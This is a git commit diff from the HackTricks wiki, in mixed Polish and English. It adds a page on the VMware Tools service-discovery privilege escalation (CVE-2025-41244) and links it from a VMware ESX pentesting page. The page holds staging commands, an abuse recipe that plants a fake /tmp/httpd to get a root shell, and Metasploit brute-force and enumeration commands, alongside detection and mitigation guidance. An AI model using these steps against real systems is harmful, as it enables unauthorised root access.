Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/n

This commit is contained in:
Translator 2025-10-01 10:21:30 +00:00
parent 6071c56438
commit 0adf64c3fe
4 changed files with 482 additions and 279 deletions

View File

@ -110,6 +110,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,145 @@
# VMware Tools service discovery LPE (CWE-426) poprzez regex-based binary discovery (CVE-2025-41244)
{{#include ../../banners/hacktricks-training.md}}
Ta technika nadużywa potoków service discovery sterowanych regexami, które parsują linie poleceń uruchomionych procesów, aby wywnioskować wersje usług, a następnie wykonują kandydacki binarny plik z flagą "version". Gdy dopuszczające wzorce akceptują niezaufane, kontrolowane przez atakującego ścieżki (np. /tmp/httpd), uprzywilejowany collector wykonuje dowolny binarny plik z niezaufanej lokalizacji, co prowadzi do lokalnej eskalacji uprawnień. NVISO udokumentowało to w VMware Tools/Aria Operations Service Discovery jako CVE-2025-41244.
- Impact: Lokalna eskalacja uprawnień do root (lub do uprzywilejowanego konta discovery)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
- Affected: open-vm-tools/VMware Tools na Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
## How VMware service discovery works (high level)
- Credential-based (legacy): Aria wykonuje discovery scripts wewnątrz guest przez VMware Tools, używając skonfigurowanych uprzywilejowanych poświadczeń.
- Credential-less (modern): Logika discovery działa w ramach VMware Tools, już uprzywilejowana w guest.
- Oba tryby ostatecznie uruchamiają logikę shell, która skanuje procesy z nasłuchującymi socketami, wyciąga dopasowaną ścieżkę polecenia za pomocą regex i wykonuje pierwszy token argv z flagą wersji.
## Root cause and vulnerable pattern (open-vm-tools)
W open-vm-tools, skrypt pluginu serviceDiscovery get-versions.sh dopasowuje kandydackie binaria używając szerokich wyrażeń regularnych i uruchamia pierwszy token bez jakiejkolwiek walidacji trusted-path:
```bash
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
```
Jest wywoływany z dopuszczającymi wzorcami zawierającymi \S (znak niebędący białym znakiem), które chętnie dopasują nie-systemowe ścieżki w lokalizacjach zapisywalnych przez użytkownika:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
- Ekstrakcja używa grep -Eo i pobiera pierwszy token: ${COMMAND%%[[:space:]]*}
- Brak whitelist/allowlist zaufanych ścieżek systemowych; każdy wykryty listener o pasującej nazwie jest uruchamiany z -v/--version
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
## Eksploatacja (zarówno w trybie bez poświadczeń, jak i w trybie z poświadczeniami)
Warunki wstępne
- Możesz uruchomić proces bez uprawnień, który otwiera gniazdo nasłuchujące na gościu.
- Zadanie discovery jest włączone i działa okresowo (historycznie ~5 minut).
Kroki
1) Umieść binarkę w ścieżce pasującej do jednego z liberalnych regexów, np. /tmp/httpd lub ./nginx
2) Uruchom ją jako użytkownik o niskich uprawnieniach i upewnij się, że otwiera dowolne gniazdo nasłuchujące
3) Poczekaj na cykl discovery; uprzywilejowany collector automatycznie wykona: /tmp/httpd -v (lub podobnie), uruchamiając twój program jako root
Minimalne demo (używając podejścia NVISO)
```bash
# Build any small helper that:
# - default mode: opens a dummy TCP listener
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
```
Typowy przebieg procesu
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
Artefakty (credential-based)
Odzyskane SDMP wrapper scripts pod /tmp/VMware-SDMP-Scripts-{UUID}/ mogą pokazywać bezpośrednie uruchomienie złośliwej ścieżki:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
## Uogólnianie techniki: nadużycie wykrywania sterowanego regexem (wzorzec przenośny)
Wiele agentów i pakietów monitorujących implementuje wykrywanie wersji/usługi poprzez:
- Enumerowanie procesów z listening sockets
- Przeszukiwanie argv/command lines za pomocą permisywnych regexów (np. wzorce zawierające \S)
- Wykonywanie dopasowanej ścieżki z pozornie nieszkodliwym przełącznikiem takim jak -v, --version, -V, -h
Jeśli regex akceptuje niezaufane ścieżki i ścieżka jest wykonywana z uprzywilejowanego kontekstu, otrzymujesz CWE-426 Untrusted Search Path execution.
Abuse recipe
- Nazwij swój plik binarny tak jak popularne daemony, które regex prawdopodobnie dopasuje: httpd, nginx, mysqld, dataserver
- Umieść go w katalogu z prawami zapisu: /tmp/httpd, ./nginx
- Upewnij się, że pasuje do regex i otwiera dowolny port do wykrycia
- Poczekaj na zaplanowany collector; otrzymasz automatyczne uprzywilejowane wywołanie <path> -v
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
Reusable privileged I/O relay trick
- Zbuduj swój helper tak, aby przy uprzywilejowanym wywołaniu (-v/--version) łączył się z ustalonym rendezvous (np. abstrakcyjnym socketem UNIX w Linuksie takim jak @cve) i mostkował stdio do /bin/sh -i. To unika artefaktów na dysku i działa w wielu środowiskach, gdzie ten sam binarny plik jest ponownie wywoływany z flagą.
## Detection and DFIR guidance
Hunting queries
- Nietypowe procesy potomne vmtoolsd lub get-versions.sh, takie jak /tmp/httpd, ./nginx, /tmp/mysqld
- Każde wykonanie absolutnych ścieżek spoza systemu przez discovery scripts (zwróć uwagę na spacje w ${COMMAND%%...} expansions)
- ps -ef --forest aby zwizualizować ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path>
On Aria SDMP (credential-based)
- Sprawdź /tmp/VMware-SDMP-Scripts-{UUID}/ w poszukiwaniu transient scripts oraz stdout/stderr artifacts pokazujących wykonanie attacker paths
Policy/telemetry
- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
- File integrity monitoring on get-versions.sh and VMware Tools plugins
## Mitigations
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
- Wyłącz lub ogranicz credential-less discovery tam, gdzie to możliwe
- Weryfikuj trusted paths: ogranicz wykonywanie do allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) i tylko do dokładnie znanych binariów
- Unikaj permisywnych regexów z \S; preferuj zakotwiczone, jawne ścieżki absolutne i dokładne nazwy poleceń
- Ogranicz uprawnienia discovery helpers tam, gdzie to możliwe; stosuj sandbox (seccomp/AppArmor) aby zmniejszyć wpływ
- Monitoruj i generuj alerty dla vmtoolsd/get-versions.sh wykonujących ścieżki spoza systemu
## Notes for defenders and implementers
Safer matching and execution pattern
```bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac
```
## Źródła
- [NVISO You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [open-vm-tools serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
- [MITRE ATT&CK T1036.005 Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,16 +1,26 @@
# VMware ESX / vCenter Pentesting
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Enumeracja ## Enumeracja
```bash ```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP> nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
``` ```
# Bruteforce ## Bruteforce
```bash ```bash
msf> auxiliary/scanner/vmware/vmware_http_login msf> auxiliary/scanner/vmware/vmware_http_login
``` ```
Jeśli znajdziesz ważne dane uwierzytelniające, możesz użyć więcej modułów skanera Metasploit, aby uzyskać informacje. Jeśli znajdziesz prawidłowe poświadczenia, możesz użyć dodatkowych metasploit scanner modules, aby uzyskać informacje.
### Zobacz także
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
{{#ref}}
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}